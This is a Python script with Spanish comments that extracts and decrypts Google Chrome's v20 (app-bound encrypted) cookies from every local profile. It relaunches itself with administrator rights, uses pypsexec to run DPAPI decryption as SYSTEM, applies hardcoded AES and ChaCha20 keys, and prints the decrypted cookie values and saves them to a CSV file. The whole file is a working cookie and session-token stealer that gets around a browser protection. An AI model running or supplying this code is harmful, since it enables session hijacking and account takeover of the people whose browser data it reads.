import os import sys import json import binascii import ctypes import base64 import sqlite3 import pandas as pd import pathlib from Crypto.Cipher import AES, ChaCha20_Poly1305 from pypsexec.client import Client """ Este script extrae cookies v20 de Google Chrome y las guarda en un archivo CSV. Requiere privilegios de administrador para acceder a los datos de Chrome. Conseguido para poder extraer cookies de Chrome v20, que utiliza un nuevo formato de cifrado. """ def is_admin(): try: return ctypes.windll.shell32.IsUserAnAdmin() != 0 except: return False def get_app_bound_key(local_state_path): with open(local_state_path, "r", encoding="utf-8") as f: local_state = json.load(f) return local_state["os_crypt"]["app_bound_encrypted_key"] def decrypt_app_bound_key(encrypted_key_b64): arguments = "-c \"" + """import win32crypt import binascii encrypted_key = win32crypt.CryptUnprotectData(binascii.a2b_base64('{}'), None, None, None, 0) print(binascii.b2a_base64(encrypted_key[1]).decode()) """.replace("\n", ";") + "\"" c = Client("localhost") c.connect() decrypted_key = None try: c.create_service() assert(binascii.a2b_base64(encrypted_key_b64)[:4] == b"APPB") stripped_key_b64 = binascii.b2a_base64(binascii.a2b_base64(encrypted_key_b64)[4:]).decode().strip() encrypted_key_b64_sys, _, _ = c.run_executable( sys.executable, arguments=arguments.format(stripped_key_b64), use_system_account=True ) decrypted_key_b64, _, _ = c.run_executable( sys.executable, arguments=arguments.format(encrypted_key_b64_sys.decode().strip()), use_system_account=False ) decrypted_key = binascii.a2b_base64(decrypted_key_b64)[-61:] finally: c.remove_service() c.disconnect() return decrypted_key def decrypt_final_key(encrypted_key): aes_key = bytes.fromhex("B31C6E241AC846728DA9C1FAC4936651CFFB944D143AB816276BCC6DA0284787") chacha20_key = bytes.fromhex("E98F37D7F4E1FA433D19304DC2258042090E2D1D7EEA7670D41F738D08729660") flag = encrypted_key[0] iv = encrypted_key[1:13] ciphertext = encrypted_key[13:45] tag = encrypted_key[45:] if flag == 1: cipher = AES.new(aes_key, AES.MODE_GCM, nonce=iv) elif flag == 2: cipher = ChaCha20_Poly1305.new(key=chacha20_key, nonce=iv) else: raise ValueError(f"Unsupported flag: {flag}") return cipher.decrypt_and_verify(ciphertext, tag) def decrypt_cookie_v20(encrypted_value, key): cookie_iv = encrypted_value[3:15] encrypted_cookie = encrypted_value[15:-16] cookie_tag = encrypted_value[-16:] cookie_cipher = AES.new(key, AES.MODE_GCM, nonce=cookie_iv) decrypted_cookie = cookie_cipher.decrypt_and_verify(encrypted_cookie, cookie_tag) return decrypted_cookie[32:].decode('utf-8') def extract_all_v20_cookies(): user_profile = os.environ['USERPROFILE'] local_state_path = rf"{user_profile}\AppData\Local\Google\Chrome\User Data\Local State" base_profile_path = rf"{user_profile}\AppData\Local\Google\Chrome\User Data" app_bound_key_b64 = get_app_bound_key(local_state_path) decrypted_key_raw = decrypt_app_bound_key(app_bound_key_b64) final_key = decrypt_final_key(decrypted_key_raw) perfiles_invalidos = {"System Profile", "Guest Profile", "CrashpadMetrics"} perfiles = [ name for name in os.listdir(base_profile_path) if os.path.isdir(os.path.join(base_profile_path, name)) and name not in perfiles_invalidos and os.path.exists(os.path.join(base_profile_path, name, "Network", "Cookies")) ] all_cookies = [] for profile in perfiles: db_path = os.path.join(base_profile_path, profile, "Network", "Cookies") con = sqlite3.connect(pathlib.Path(db_path).as_uri() + "?mode=ro", uri=True) cur = con.cursor() r = cur.execute("SELECT host_key, name, path, is_secure, is_httponly, expires_utc, last_access_utc, CAST(encrypted_value AS BLOB) from cookies;") cookies = cur.fetchall() con.close() for row in cookies: host, name, path, is_secure, is_httponly, expires_utc, last_access_utc, encrypted_value = row encrypted_value_b64 = base64.b64encode(encrypted_value).decode() if encrypted_value.startswith(b"v20"): try: value = decrypt_cookie_v20(encrypted_value, final_key) print(f"[✓] {host} {name}: {value}") all_cookies.append({ "host": host, "name": name, "path": path, "value": value, "encrypted_value_b64": encrypted_value_b64, "expires_utc": expires_utc, "is_secure": is_secure, "is_httponly": is_httponly, "last_access_utc": last_access_utc, "profile": profile, "is_decrypted": True, "decrypt_error": "" }) except Exception as e: print(f"[x] Error decrypting {host} {name}: {e}") all_cookies.append({ "host": host, "name": name, "path": path, "value": "", "encrypted_value_b64": encrypted_value_b64, "expires_utc": expires_utc, "is_secure": is_secure, "is_httponly": is_httponly, "last_access_utc": last_access_utc, "profile": profile, "is_decrypted": False, "decrypt_error": str(e) }) return pd.DataFrame(all_cookies) if __name__ == "__main__": if not is_admin(): input("Este script necesita ejecutarse como administrador. Presiona Enter para reiniciar con privilegios...") ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join([sys.argv[0]] + sys.argv[1:]), None, 1) sys.exit() print("[*] Extrayendo cookies v20 desde todos los perfiles...") df = extract_all_v20_cookies() df.to_csv("cookies_extraidas.csv", index=False, encoding="utf-8") print(f"[✓] Cookies v20 extraídas: {len(df)}") print("[✓] Guardado en 'cookies_extraidas.csv'")